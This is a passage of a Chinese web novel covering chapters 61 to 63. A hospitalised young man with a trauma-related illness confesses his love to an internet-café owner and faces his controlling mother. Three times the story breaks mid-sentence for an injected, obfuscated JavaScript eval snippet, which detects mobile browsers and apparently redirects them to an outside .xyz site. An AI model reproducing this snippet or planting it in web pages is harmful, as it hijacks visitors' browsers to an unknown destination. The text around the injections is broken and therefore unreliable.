等时和背影消失在走廊转角,宴云川转身下了楼。他给沈停发去信息:问问濯阿姨时和怎么了。 又给约好的心理医生道歉:抱歉何医生,临时有点事来不了了,实在不好意思。 今天榕城阳光依旧热烈,走出医院大门就被烫了个焦熟。 宴云川站在阶梯上,眯着眼睛抬头。 太巧了。 世上有很多巧合,可很少会发生在一个人身上。 61.Chapter·表白 医院住院部 护士正在给时和扎针,医生搬进来一盆多肉放在病床边。见时和眼神不为所动,他把窗帘拉开。 阳光照进来的一瞬间,时和蹙眉转头,像是对阳光的存在感到非常厌恶一样抿着唇。 “小和,养过多肉吗?”医生走上前,半蹲在病床边,把多肉举到时和视线范围内。 时和不想说话。 医生捕捉到他眼神闪动,知道这是看见了,便把多肉放下,又拿起旁边一个养护手册自顾自地翻开:“多肉跟仙人掌差不多,生在旱地,但能凭借自身储存的水分和养分活下来,所以需要等土壤干燥再浇水。它喜欢阳光,阳光晒足才鲜艳。” “这盆多肉我准备送给我女儿做生日礼物,可是白天太忙了没时间养,”他稍稍起身,靠近时和:“小和,我相信你可以帮我养好它,对吗?” 时和依旧没说话。但这盆多肉还是被留下了。 病房只剩下了时和和濯清。 医生说,时和这是典型的创伤事件诱发的身心连锁反应,至于创伤源,需要等时和状态好一些再进行两次涂鸦分析。 可直觉告诉濯清,跟游戏和宴云川有关。 她端着一杯水问时和:“宝贝,想喝水吗?” 见时和摇头,她又问:“那要睡一会吗?” 时和“嗯”一声。 她赶忙起身走到窗边:“妈妈给你关窗帘。” 时和嘴唇动了动,默许了。 等时和躺下,濯清拉着一张椅子坐到窗边,一只手像哄睡似的拍着被子,另一只手自然而然去拿桌子上闪烁不停的手机。那是时和的手机。 濯清刚解锁,被窝里的人睁开眼:“妈。” 这声称呼唤起了濯清的紧张。她放下手机弯腰,用手背贴着时和额头问:“宝贝,是哪里不舒服吗?头疼还是胸闷?” 时和说:“妈,这是我的手机。”濯清手上的动作瞬间僵住了。 “宝贝,妈妈只是——”只是担心你。 “妈,这是我的手机。”时和又说了一遍。 时和也不知道自己是怎么了。自濯清和时熵离婚的这半年来,他只想着哄好濯清,赢得濯清信任。濯清想看他浏览记录,他就给濯清看,濯清要查他聊天信息,他就给濯清查。 他的手机没上锁,就是为了濯清随时可以打开。就像刚才一样,很正常才对,这半年都是这么过的。可突然的,他就过腻了。 “妈,”时和侧过身看着濯清问,“那天是你打电话给宴云川的么。” “哪天?” “我没带手机那天。” “嗯,怎么了吗?”濯清很顺理成章的问。 时和不知怎的,突然笑了。 一开始,他以为宴云川是从沈停那知道自己离家出走的。可刚才濯清拿起手机的那一瞬,他就明白过来了。 “妈,为什么。”时和压在被子里的手握紧。 为什么要打给宴云川?这种感觉就像他强行把宴云川拉进了一场毫无尊严,充满污点的傀儡戏。 濯清不明白时和突如其来的质问是为哪般。她未加思索地开口:“你突然一声不吭跑出去妈妈能不担心吗?妈妈——”找你不应该吗? 话没说完,时和低声问:“那为什么不能是沈停呢……” 天花板的顶灯光透亮,照的墙上阴影抖动了一下。濯清撑着床板,嘴唇微张。 是啊……她为什么会打给宴云川呢。就好像潜意识认定找宴云川会比找沈停更快一样。 床上的人半只手露在被单外,针头延着药水,有节奏的从瓶口滴落,像是无声的控诉。 濯清起身,捋了捋发丝,挂着淡淡的笑,理所应当地回答:“他不是你学长吗。” “这两者有关系吗?”时和突然情绪爆发撑起身子,“你们每个人都想知道我在做什么、我在哪、我在想什么!可是我永远都不知道你们在哪、在干嘛、怎么想!我不知道你回来,不知道你找了宴云川,什么事我都得靠后知后觉的猜!” 说得急了,他大口喘着气,眼尾洇上了水雾:“妈,这不公平……” 病房隔音很好,这困兽般的嘶鸣只锁在一亩三分的房间里不断回荡。 濯清只当时和是犯病了所以情绪容易波动。她挂着开会用的微笑,小心扶着时和肩膀,手轻轻拍着时和后背,用哄幼儿园小朋友一样的语气哄着说:“好好好,妈妈不看你手机了,也不打电话给小川了好不好?宝贝,我们深呼吸,先吸气……” 等时和呼吸平复一些,濯清问:“小和——” 她本想问“你是不是跟小川吵架了”,看见时和现在的状态,又把问题压了下去, “宝贝,这游戏咱不玩了。听话。”她说道。 时和后背徒然绷紧,又慢慢放松:“嗯。” 哄睡时和,濯清悄声关上门准备去找心理医生。她边走边刷着微信信息,看见沈停在半小时前发来微信:[阿姨,时和没事吧?] 她没多想沈停怎么知道的,回道:[着凉发了点烧,没大事。] 走出住院部,沈停又问:[阿姨,我可以去看看时和么?] 时和毕竟在心理卫生医院,濯清没答应。 沈停在那头又发了几段慰问。 濯清隔两三条回一下,回到最后,她倏地想到什么,问沈停:[对了,小停。] 濯清:[小和跟小川闹矛盾了吗?] 沈停隔了几分钟才回:[怎么会呢!] [那——]濯清打了个“那小和怎么回事”的开头,想到问沈停也没用,她又删掉。 她指尖敲着手机侧面,从脑海里划过的十几个猜测里拎出一个问:[小和是谈网恋了吗?] 这会沈停秒回了:[那更不会了!] 沈停:[时和整天跟我们玩在一块,我周围就柚子一个女生,人家单身主义。] 沈停:[您放心吧阿姨!] 濯清将信将疑,回了个:[行吧。] 窗外的榕树开始落叶。榕城下了三场雨,从病房往外看,可以看见几个小孩把落叶堆积在一起,捧起来,像蝴蝶散花一样扬了一地。 时和看了眼墙上电子钟,原来已经立秋了。他把晒够太阳的多肉搬回室内,拉上窗帘。 窗边的手机依旧明明灭灭的亮着。虽然退了帮派群,可他没有删单身他们。 单身和柚子几个人每天跟打卡一样给他发来早安问候,除了刚退帮那几天追问原因,后来几人很有默契的不提帮派和游戏的事,也不提宴云川。 他就这么在医院住了半个月,没有游戏,没有宴云川的半个月。 跟半年前的日子没有什么不同,吃饭、睡觉、散步、吃药。如果非得找点区别,大概是他会不经意见点开宴云川的微信,会看论坛视频,想着会不会有宴云川新的PK锦集,会在读书的时候不自觉写出宴云川的名字,会在走廊听见一个叫“云川”的人,驻足回头。以至于他到后面产生了错觉,总感觉有个视线隔三差五就会落在自己身上。 直到帮派有个人给他微信转了一个帖子。 #川云己见闹掰内幕# 仅是“川云”两个字,就让这半个月的刻意回避成了镜花水月的一场幻梦。 转发的人发了又立马撤回,说道:[不好意思啊见爹……我发错人了!下跪.jpg] 可时和已经下意识点进去了。 帖子洋洋洒洒几百个字,大意说他有神经病,不能跟人交往,人多了就会发疯。他还是个妈宝男,家里有只母老虎。如果被母老虎发现时和跟一个搞网吧的玩一块,高低得给人网吧掀了。 时和看着发帖IP,还有帖子下面一个新号的评论:[草了!你们是傻逼?贴主哪里造谣?我他妈跟这逼一个学校的,这逼半年前就因为犯病休学了!他去酒吧被他妈发现当场抓回去!他妈还因为这点破事闹到了教务处!害得跟他一个宿舍的人全部写检讨!有一个还丢了奖学金!不信你们去苍大问!] 这条评论下面的楼中楼格外热闹: [施情、化忆:所以!己见在苍大读书,但是人一直在榕城咯?] [白:你们不觉得己见平时打本太安静了吗?] [酒爷:而且从不开麦,我还以为他是人妖。] [那ー抹可笑的悲恸:你们还记得两个月前尹川直播抽奖那会吗?他抽到己见,结果己见突然就下线了。那会儿己见还是个新号呢!我合理分析,己见是被长安大街的人头吓离线的!] 热闹总是这样,越坏越好看。 评论下的楼中楼说:[这样一来,他解除师徒的行为就很细思极恐啊?先说明,我对精神疾病没有偏见,可听说他们的确容易做出过激的事。] 又有人跟上:[对对对!我朋友抑郁症,我天!莫名其妙就拿圆珠笔划自己!我上回都被吓哭了!] 房间格外安静,门上贴着“请勿反锁房门”的提示条,地面两步可见防跌倒的警示,桌上摆着病房禁止携带锐器/危险品的告示牌,无棱角的家具、防撞软包墙面,还有写着他名字的病床。 时和安静的环视病房一圈,安静的看着手机里用文字陈述出来的事实。他以为自己会犯病,可最后只是很平淡的关了手机,转身对角落处理公事的濯清说:“妈,我想回家了。” ** [川云:解除师徒是我的原因。网吧忙不过来,我没太多时间玩,所以让他解了。另外,不爱说话、不擅长打交道,这些和‘精神病’跟两回事。我也不爱说话。] 宴云川十分钟前发了这段评论,就一直靠着椅子放空的看着微信界面。 “哥……” “哥。” 林朔野不知道什么时候走进了包厢,喊了宴云川好几声,见宴云川一直不应,他弯下腰直接拔了显示器的插头:“哥!” 已经半个月了,这半个月宴云川都是这副半死不活的状态,要么盯着火机,要么盯着时和微信头像。几天几夜谁不上好觉,眼里的红血丝一天比一天重,还有几次吓跑了几个来网吧的新客。 见宴云川要插插头,林朔野拦下来。 “哥!”他皱着眉,“月下让我跟你说,你要的东西他在问了,但是需要一点时间……沈停说他阿姨这几天回消息的频率挺快,应该心情不错……” “……哥,宝贝儿A了是么。” 像触发了“PLAY”键一样,宴云川终于有了反应。他把手插进衣兜里,淡淡说:“也许吧。” 说完,林朔野深吸一口气:“哥,后悔吗?” 单人包厢狭窄又安静,宴云川抬了抬眸。曾经他就站在林朔野现在的位置,看着时和紧张又强装镇定的绷直后背,尾指细细勾着鼠标线。 “我后悔什么。”宴云川拿过桌边火机。火机在手上磨了半个月,棱角已经开始慢慢圆滑。 林朔野说:“后悔把人推走了。” 火机顿了一下。宴云川像是真的不后悔一样语气平静:“没什么后悔的,他总要离开网吧。” 林朔野:“……” 如果他没跟宴云川相处十几年,他都要信了。 从小学三年级开始,他就跟在宴云川屁股后面了。那几年爸妈赚钱不着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是事实。就像,如果不是他收了时和做徒弟,时和现在就不会在医院。 他不想未来有一天也这么对别人说:“如果不是他和时和在一起,时和就不会出事。”那样太可怕了,比两年不间断的噩梦还要可怕。 包厢两人都没说话。宴云川看着林朔野肩膀慢慢松懈下来,透着一股自暴自弃的颓然。 他起身:“阿朔,就到这里吧。不要再管我的事了。”说着又推开包厢门,“我累了,回去一趟。” 等他离开,林朔野掏出手机,保存好录音,一键转发给了时和。 ** 录音发过去的时候时和正在等濯清办出院手续。他看见微信一晃而过林朔野的备注,正想点开,濯清拿着出院单走了过来。 后来上了车,时和点开微信,林朔野的消息被帮派几个人顶到了底下。 为首的是下午发错消息的人。这人像是为下午的失误将功赎罪一样发了一张图。 图片里是宴云川的评论。 他看完了评论内容,晃了一路的神。等他再回神想起林朔野的微信时,已经是晚上了。 濯清在整理这几天在医院换洗的衣服,准备拿去干洗店统一消毒。 时和回到房间,坐在椅子上刷着微信。刷到录音文件时,他愣了一下,犹豫了一会才点开。 录音点开是一段走路声,走了两分钟,又变成冗长的沉默。录音总共二十七分钟,已经过去五分钟了。时和摆弄着手机音量键,以为是手机出了毛病。见手机还能正常听歌,他又起身拿耳机。 正准备带上,录音那头响起林朔野的声音。他站着听了一会,直到听见宴云川的声音才坐下。 听见林朔野问:“你喜欢上宝贝儿了。”后面接着沉默的时候,时和自己都没注意到呼吸跟着沉默一块停了下来。 再然后,一声金属叩下,他猛地起身。 濯清在楼下听见动静跑上来,就看见时和胸口起伏地拿着手机。前几分钟还两眼无焦的人这会倒像是忽然恢复面部神经了,怔楞中透着难以言喻的兴奋。就像……她第一次带他去游乐场那样。靠近过山车的时候,又期待,又小心翼翼。 “怎么了宝贝?”濯清走上去。 时和滞缓地摇摇头:“没。” 濯清不信,二话不说就想拿他手机。他下意识把手机藏了起来。只是这次和之前歇斯底里的发泄不同,莫名带上了几分心虚。 “我……”时和哑着声音,又咳一下,“我刚被一个视频吓着了。” “什么视频给你吓成这样?”濯清皱着眉。 表白视频。 “妈,”时和又咳了一声,推着人往门口走,“我没事。我、我是饿了,没站稳。” 两次口径不一的答案加大了濯清的疑虑,只是考虑到时和刚回家,加上医生千叮万嘱不能刺激情绪,她才忍了追问的心。 门再次被关上。这次时和走到门边站着犹豫了一会,给门上了锁。他在房间里东转西摸的转了好几次,才把刚才的录音拖出来,在那句“嗯”上面反复听了几遍,继续往下。 濯清在厨房做着简餐,突然听见嘭地一声。她走出去,只看到时和边拉着鞋跟边往外跑,步子很急,一秒都不耽误。 她刚想拦人,人已经跑出半层楼了。 “你去哪!”濯清站在楼梯间探着头问。 时和的声音回荡在楼层里:“网吧!” 62.Chapter·答案【和】 晚上的网吧向来是热闹的。虽然擂台赛上星期已经结束,但不妨碍网吧的名气打了出去。加上很多人在活动期间赚的网费花一个暑假都花不完,反而每天惦记着过来消费。 网吧大门时开时合。 “明儿见啊!秋姐!”两个下机的人跟俞秋打了个招呼,推门往外走。他们的手刚放到门把上,玻璃门跟安了自动感应似的瞬间打开了,给其中一人吓得猛往后退。 退开两步,门外冲进来一个人。来人的长相放在网吧里相当夺目,那人忍不住打量了两眼,总感觉这身影在哪结果,频频皱眉。 “走啦!”同伴拉着他往外走。 两人走出门,他正说着:“嘶,你不感觉刚才那人眼熟么?” 玻璃门缝飘来模糊的一句:“宴云川……” 俞秋没想到时和会突然过来,还没带口罩和帽子。她楞了楞:“时老板?” 自从时和充了三千,俞秋就送了他这个称呼。 时和喘着粗气:“宴云川呢?” 俞秋慢半拍地说:“老板不在。” 时和:“在、在哪。” 俞秋后知后觉:“噢!他下午就回去了!”余音未落,眼前的人留了一道残影冲了出去。 残影冲出去两秒,玻璃门还没合上又冲了进来:“宴云、宴云川住哪?” 单车飞速行驶在榕树道上。到底半年多没骑了,一车一人缺乏磨合,骑得不稳。 导航响起:“前300米,红绿灯右转进入普笛路,随后200米直行。” 街道风景愈发陌生,道路一侧偶有卖水果的小贩,人行道支了三两成排的烧烤摊。 时和骑到红绿灯,转向遇见一辆逆行准备过马路的电动。他惊慌之下猛扭车头。 只听“砰”地一声。 ** 宴云川本在床上躺着,忽然接到林朔野电话。电话接通只说了一句:“哥……宝贝儿好像出车祸了……”砰一声,火机掉在了地上。 从关门到楼下,只用了不到二十秒。 “把话说明白!”他夹着手机,拿出耳机,飞快从听筒模式换成耳机模式,又点开电动车控制蓝牙,“谁出车祸?时和?” 电话那头的林朔野语气比宴云川还要着急,着急中还带着闯大祸的心慌:“我、应该、我也不知道!秋儿说宝贝儿来过网吧,又去你那了……”他咽了咽嗓子,“我听他们说普笛路那边出了车祸,“好像是……是……单车和小车撞了……” “哥……”普笛路是网吧到你那的必经之路。 电车猛扭车把,像是跟着车主一块儿定住似的纹丝不动。耳边一片寂静。 电话那头又喊了几声哥。宴云川以为电车没有解锁,又拿出手机,只是一个没拿稳,手机滑了一下,咯着车头,险些掉下去。 他点开蓝牙,发现已经解锁了,又关了一遍重新解锁,来回三四次,才发现是刹车没按。 电车开出了最大码速,超过了旁边一辆四轮。 “你现在在哪!”宴云川问。 “在、在……烧烤摊……不对、水果摊……” 许是太紧张了,林朔野说得语无伦次。最后还是沈停抢了手机交代:“我跟阿朔在去普笛路的路上!学长!你直接来普笛路!” 电车开到普笛路,用了八分钟。车祸发生在普笛路尾,人行道和绿化带旁边围满了看客,有人拿手机拍照,有人跟旁边一阿婆说:“……单车还想闯红灯……你说那单车能跟铁疙瘩比硬气嘛?” 阿婆撇着脸摇头:“那是哟!看着年轻叻……家里父母也是造了老罪了……老婆本还没攒,棺材本就这么豁出去了一半……” 宴云川不知道自己怎么顶着耳鸣和天旋地转的眩晕走到交警身后的,他只看见交警一直在对他皱眉,手上交叉比划着什么。地上摆着一辆散了架的黑色变速,一个轮胎滚到了马路中央。轮胎几米的地方停着交警车,还有一辆准备离开的救护车。 眼前的道路忽然陷入一片漆黑,救护车一下从漆黑的尽头过来,一下又从眼前离开。离开的那一瞬,凌岳和时和的脸一同撞到了他的眼睛里。 他往后倒了几步,耳机掉到了地上被踩了一脚,跟马路中央的自行车一样,四分五裂。 倏地,他捂着胃干呕起来。 呕到救护车开始鸣笛离开,他压着胃痛,二话不说转身,开上电车跟了过去。 林朔野跟着沈停前后脚到了医院。因为是交通事故送医,医院只能给家属透露患者信息。 他刚走到急诊门口,宴云川突然冲上来,用力按着他的肩膀吼着:“我是不是说过我的事你别管了!为什么还要让他过来!” 林朔野给这一吼吼懵了。 在他的印象里,宴云川向来是温柔、克己,甚至可以说是毫无脾气的一个人。他也见过宴云川失控,两年前,在接到凌岳车祸的那天,也是这家医院,宴云川抬手狠狠地砸向墙壁,砸到墙砖碎裂,右手掌骨骨折,恢复了半年。 可宴云川第一次吼他。 “哥……”林朔野下意识想退,肩膀被按住又躲不开。他整个人都在抖。 直到沈停上前分开了他和宴云川。 “学长!你冷静一点!”沈停挡在林朔野前面,“时和不是他叫来的!我阿姨说他是突然跑出门的!不关他的事!” 许是这声冷静让宴云川脑子清醒了一下。宴云川后背松下来,揉着眉心很无力地说了声抱歉。 他又看向沈停:“伯母知道了?” 沈停摇头:“还没有。阿姨打了几个电话,说查不到时和的位置……估计时和把定位关了。我跟她说时和在网吧,今天网吧有游戏的活动。我阿姨差点要过来抓人……我给拦下了。” 人在极端恐惧的时候会分出两个分支,一支极端混乱,一支极端冷静。沈停就是后者。 可冷静不代表他不害怕。他害怕里面出事的真的是时和,害怕这样拙劣的谎言面对不了真相。怕到拉着林朔野胳膊的手都在颤抖。 “学长——”沈停想问现在怎么办,一对中年夫妇推着他的肩膀,从一旁匆匆过去,逮着最近的一个护士问:“我儿子呢!我儿子怎么样了!” 护士边安抚情绪边核对:“您儿子叫什么?” 夫妇说:“砚舟!茅砚舟!” 护士又问:“是不是刚120送来的车祸?” 夫妇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009991|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没说话,宴云川突然插进他们之间,神色紧张地问:“你说刚才120送过来的人姓茅?” 护士一脸莫名:“你也是家属?” 她正准备让这几个人到服务台登记一下身份证,宴云川突然转身跑了出去。 ** 电车是怎么从医院开回小区的,宴云川记不清了。他整个人像喝醉酒断了片一样,所有的记忆只停留在电车开进小区的那一瞬。 时和坐在小区门口一棵榕树旁边,脑袋埋在膝盖里不知道等了多久。 估计等了太多辆电动车,以至于宴云川的车灯打到他身上的时候,他已经不想抬头了。等他察觉车灯久久没有离开,这才动了动肩膀。 这是他二十年来做的最冲动也最大胆的一件事,横跨了两个区,二十公里的距离,忍受着被路人打量的眼光,只为了要一个答案。 时熵总说:“想要答案得自己去找。” 但是他太想知道答案了,反而变得急躁,不想自己求解,只想等着答案送上来。 到最后他用了一切幼稚的方法想加快答案送上门的进程,唯独没有想过自己去寻找。 现在答案已经向他走过来了,剩下的,就是他跑过去。 所以,当他看见宴云川僵直着身子站在斜对面的路灯边的时候,他跑过去了。 小区门口依旧人来人往,散步回来的人两两相伴,他们纷纷扭过头,看着老旧路灯下昏黄朦胧的身影隔着一米的距离对望。 时和背着马路,看不见路人眼神,或者说不想看见。他眼里只有宴云川。 他对宴云川说:“我妈妈打了我三十五个电话,可是我手机屏幕摔坏了,接不上。我点不开地图,但我记忆里很好,我一家商铺一家商铺的问这里是哪,好在榕城不大,很多人给我指路。” “这一条街左边亮着十二盏路灯,右边只有十一盏。你站着的这盏灯引来了九只飞蛾,可能还有些小的,后面我没数了。” “我用了很大的勇气走来这里。” “宴云川,你也喜欢我,对吧?” 宴云川从没体会过血液结冰又瞬间活过来的过程,他死死地握紧手机,才保留住了最后一丝理智。 他对时和说:“先上车。” 电车停在楼下车棚,两人一前一后,一路无言的走进了一栋涮得煞白的小平层里。 短短三层楼,他眼前走马灯一样走过很多剧情:他总想着“如果”、“就不会”,总担心自己会给时和带来不幸。可他忽略了一点,从他在游戏里遇见时和的那一刻,“如果”已经开始了。接下来的每一分每一秒,都叫“就不会”。 “如果”不是他一直画地为牢,他“就不会”差一点失去时和。 上了楼,开门。客厅还亮着灯,墙上挂着的游戏手柄一览无余地落尽时和眼里。 这些手柄好像连进了心脏,不断操控心跳。 “宴——” 时和紧张地开口,刚说一个字,身后突然传来剧烈又急促的关门声。 他还没反应过来发生了什么,唇上的温度比腰间的力道先传到他的心跳里。 这是一句用行动回应的喜欢,天旋地转。 63.Chapter·肉干 客厅接连响起木架挪动的沉闷声和桌上摆件滚落在地的破碎声。 时和感觉自己整个灵魂都随着脖颈和耳边的热气烧成灰了。他成了失去灵魂、任人摆弄的布偶,任凭宴云川把他压在沙发上,不断攫取他的呼吸。 由于出门急,他身上还是出院前随便套的T恤。T恤太宽松,禁不起这样热烈的吻,三两下就缩了一截,黑与黑之间裸露出一抹刺眼的白。 沙发的布料和宴云川长裤的布料在腰间摩擦,一下又一下,每每引起颤栗又微微抽离。 时和对亲密的认知还停留在一些不该有的网页上,这些理论知识在实践面前不堪重用。可他还是感受到了,宴云川在害怕。 他不知道宴云川的这股害怕从何而来,只是下意识地伸出手,带着安抚伸进宴云川头发里,尾指轻轻刮过宴云川后颈。结果就是换来了更猛烈的狂风暴雨。 地上的手机一直亮着来电提醒,微信消息跟灯光下的喘息声一样此起彼伏,喘息声和一句句“时和”、“对不起”一起落入耳蜗里。很快,时和发现自己有点不对劲。 “宴——唔——” 他不是三岁小孩,知道人会有生理反应。但这样的反应却让他恐慌。 他在高压的学习里遨游太久,又在濯清的监控下活了太久。在他看来,生理反应是一件需要清晨躲在厕所才能完成的事,是不能见光的。所以,当他察觉了自己的情动,立马推开了宴云川。 客厅安静了一瞬。 “对——”时和本能想道歉。 道歉声被门外剧烈的敲门声打断,敲门中还混杂着沈停的声音:“学长……在吗……” 一时间,时和不知道自己是该先为自己的失礼而告罪,还是先为这满地狼藉的找个解释。 他跟傻眼似的看着宴云川,看见宴云川胸口微微起伏,那股不对劲的感觉又上来了,连忙瞥开眼睛。瞥见游戏手柄墙中央突兀的空白,他愣了愣。愣神间,腰间划过酥麻感。 宴云川本想把时和的衣服整好,手指还没用上力,沙发上的人就跟泥鳅似的往旁边溜开了。指尖扑了个空。 时和低垂着眼睛,像是做错了什么事。宴云川目光从腰间一路往下,落在其中一个点上,仿佛瞬间明白了什么,闷闷咳了咳。 “衣服。”他提醒着。 过了几秒,时和开始手忙脚乱。 他又很轻地笑了一声。 笑到时和耳垂滴血,他才说:“我去开门。” ** 门打开,林朔野和沈停一副要破门而入的模样扑了进来。两人没收住力,险些被地上一个支架绊倒。眼看要往沙发上撞,两人看见沙发上冷冷坐着的时和,又活生生给冻了回去。 “我日……”沈停国粹破口而出。 “我草……”林朔野也没憋住。 瞥见时和搭在沙发上的手踡了一下,宴云川踢过来两张椅子:“日够了草够了就坐着。” 客厅所有的声音都突然短路了。 两人是跟着宴云川的车尾灯残影来的。这会还没从“120拉走的人突然活了还坐在自家哥哥/学长家的沙发上”这件事里缓过神来,就看见宴云川从冰箱里拿出几罐饮料,跟选妃似的排开一排给时和选,又自然地坐在时和身边,自然地捏了捏时和后颈。沈停刚开一罐可乐,差点喷。 “操——”沈停好奇心实在压不下去,都忘了匆忙跑过来是为了什么,张口就问:“学长!什么情况?你俩大晚上在家打仗呢?”说完,林朔野捏变形了可乐瓶,还踹了他一脚。 沈停瞥一眼林朔野:“踹我干嘛?别跟我说你不想知道发生了什么!” 林朔野咬着牙:“不想。” 然而,这声咬牙切齿的抗议非但没有让沈停收敛,还加重了他的好奇。 大概是人生大悲大喜发生得太快,上一秒他还觉得自己要被濯清分尸了下一秒又可以了,以至于他有点收不住那跟蹦迪的三叉神经。 他又求知地望向宴云川。 就见宴云川抿了口可乐,两腿一搭,说:“如果时和愿意多一个男朋友,我们就在交往。如果时和不愿意,我就在追。就这情况。” 时和差一点把肺咳出来。 客厅呛声的呛声,扶凳的扶凳,也算热闹。宴云川大概是觉得这样的热闹还不够,添油加火地拿起一杯水,边拍时和后背边问:“愿意吗?” 时和咳的说不上话。 宴云川自顾自说:“看来我得想想怎么追。” “……” 时和觉得自己今晚高低得死在这。 眼瞅宴云川还准备发表感言,时和抓着宴云川胳膊就说:“可、可以!” 宴云川装作没听懂:“是可以追还是——” 时和小声抢话:“不用追!” 其实一直都不用追…… 从他喜欢上宴云川那一刻,就不用追了。 他看向宴云川,突然看见宴云川口形开开合合,在灯光之下无声说着:“我喜欢你。” 至此,长达半月青涩又笨拙的赌气宣告落幕。 ** 有了沈停和林朔野在,很多话题都不好问。比如两年前发生了什么,比如为什么那面游戏墙的中间是空的。 濯清又连打了三个电话过来要人,时和接了一个,隔着电话都感受到了濯清压抑的怒火。 在这样天时地利人和三不沾的情况下,宴云川把人送了回去,临走前还塞了一个键盘。因为宴云川对濯清说,是他半个月前给时和订的键盘到货了,让时和来拿的。把所有责任揽到了自己身上。 濯清在电话里沉默了很久,忍着责备语气,牢骚说着:“你这孩子!非赶着大晚上拿!小和一个人跑出去多危险啊?万一出什么事……” 宴云川一边下楼一边认错。瞥见时和目光一直看着地面,睫毛在声控灯下微颤,他抬手在时和虎口捏了一下,又对濯清说:“是我考虑不周。伯母,我现在送时和回家,十五分钟到。”电话那头这才结束了控诉。 挂电话前,濯清场面性的对自己儿子也表达了不满:“小和也是!键盘家里不缺他的,用腻了可以跟我说,我给他买新的,犯得着急这一时半会……” 宴云川只是听着,插着空档说抱歉。 挂断电话,时和开口就说:“对不起。” 宴云川在他头发上揉了一下:“伯母担心是正常的,总不能让你挨骂,我得担着点儿。” 很正常的一句话,却让时和回味了一路。 其实,濯清是个体面人,她不会让外人下不来台,也不会丢了自己面子。哪怕濯清在家跟时熵吵得天翻地覆,在外边,她对纪帆也不过是皱了眉,夹着牢骚责备两句:“你们这些孩子”、“这地方学生能来吗”、“多乱啊”。 包括后面纪帆写检讨的直接原因也不在濯清。是有人看见了,举报到了教务处,濯清只是作为家长和目击者被叫过来确认而已。 可纪帆说是他的问题,舍友说是因为他。所有人都在说,“就是因为你”、“就是你妈”、“你全责”,说久了,他也觉得他是那个罪魁祸首。 甚至在宴云川接了濯清电话的那一刻,他是慌乱的。担心濯清也对宴云川“不客气”,担心宴云川会因为濯清而后悔说出“我喜欢你”。 车开到小区楼下,宴云川下车看见时和倚在后座上不知道想些什么。他不自觉地想把人扶下来,余光瞥见过往行人,忽然想到这是濯清的“地盘”,又收了手,柔声说道:“时和,到了。” 时和被声音拉回了思绪。他下了车,像迷了路一样站在原地,眼神一直锁着宴云川,怕人跑了一样一动不动。 宴云川被着眼神看得心揪,他又抬了抬手,最后只是插进兜里,摸了几圈火机。 “我不会跑。”宴云川说,“我还答应了濯阿姨,等她空下来带着礼品去看她。” 时和依旧望着他。 他继续说:“我知道你今晚想问什么……” 时和眼神这才动了一下。 宴云川终于没忍住,趁着周围没人的几秒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023028|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,亲了一下时和额头:“再给我一点时间,不会太久。我会把所有发生的事都告诉你。好吗?” 老式小区住的大多是退休的人,还有一些跟父母住一块的夫妻。这个时间老人都睡的差不多了,只有三两放暑假的学生还在路边玩滑板。 这个吻像是激活了情绪的开关一样。时和喉结滚了一下,脚步下意识上前,微抬着头,脚跟有意无意地踮着,似乎很想离宴云川近一点。 宴云川捏着火机,忍着冲动退开。 他正想把时和“叫醒”,濯清忽然从小区门口走出来,喊了声:“小和!” 那份若即若离的情愫戛然而止。 ** 一路无言地走回家,关上门,濯清忍了一晚上的担心在看见时和碎屏的手机那一瞬,终于忍不住爆发了。她坐在沙发上,也没让时和坐下。 “没有什么想对妈妈说的吗?”濯清问。 时和以为濯清看见了他和宴云川那点小动作,脚背紧张地绷紧。直到濯清问他:“为什么关定位?”他才如释重负一样松了气。 “妈……”时和声音放软。 结果濯清今天气狠了,不吃他这一套,说着:“知道大晚上跑出去妈妈多担心吗!” 时和老老实实低头:“妈,我错了。” “手机怎么回事?” “刹车没收稳,开上了绿化带。” 手机就飞出去了。 时和说完,发现濯清脸色更沉了。 上一次濯清这么生气,还是他骗濯清吃了药,结果把药倒了的那会。精神类药物刚吃药的那段时间会让人大脑混沌,每天像是活在一片雾里,看书看不进,思考也受限。他不想连读书这点优势也被剥夺,就偷偷倒了药。那天濯清也是这样。 “妈……对不起……”时和又说了一遍。 濯清冷冷下命令:“知道对不起我以后就别乱跑!明天给你买新手机,定位不能关!” 如果以前,时和为了让濯清放心,都会一口答应。可最近不知道为什么,他突然不想像个被扒光的宠物一样,毫无保留把一切都展示给濯清看了。 他发誓道:“妈!我以后保证接电话!” 哪知这句话触了濯清逆鳞:“你拿什么保证?你能保证下回小川或者小停或者别的谁再像今天这样叫你出门,你不会跑出去吗?你不会再摔了手机吗?要是下一次摔的是你的人你让我怎么办!” “妈……”时和自知理亏,但还是说,“我长大了,又不会走丢。” 濯清没跟他商量:“以后你用我手机ID。” 许是察觉到时和情绪开始不对劲,濯清又放缓了语气:“宝贝,开个定位而已,这样妈妈才能知道你在哪、安不安全。” “妈妈什么时候害过你?你要乖一点,知道吗?” 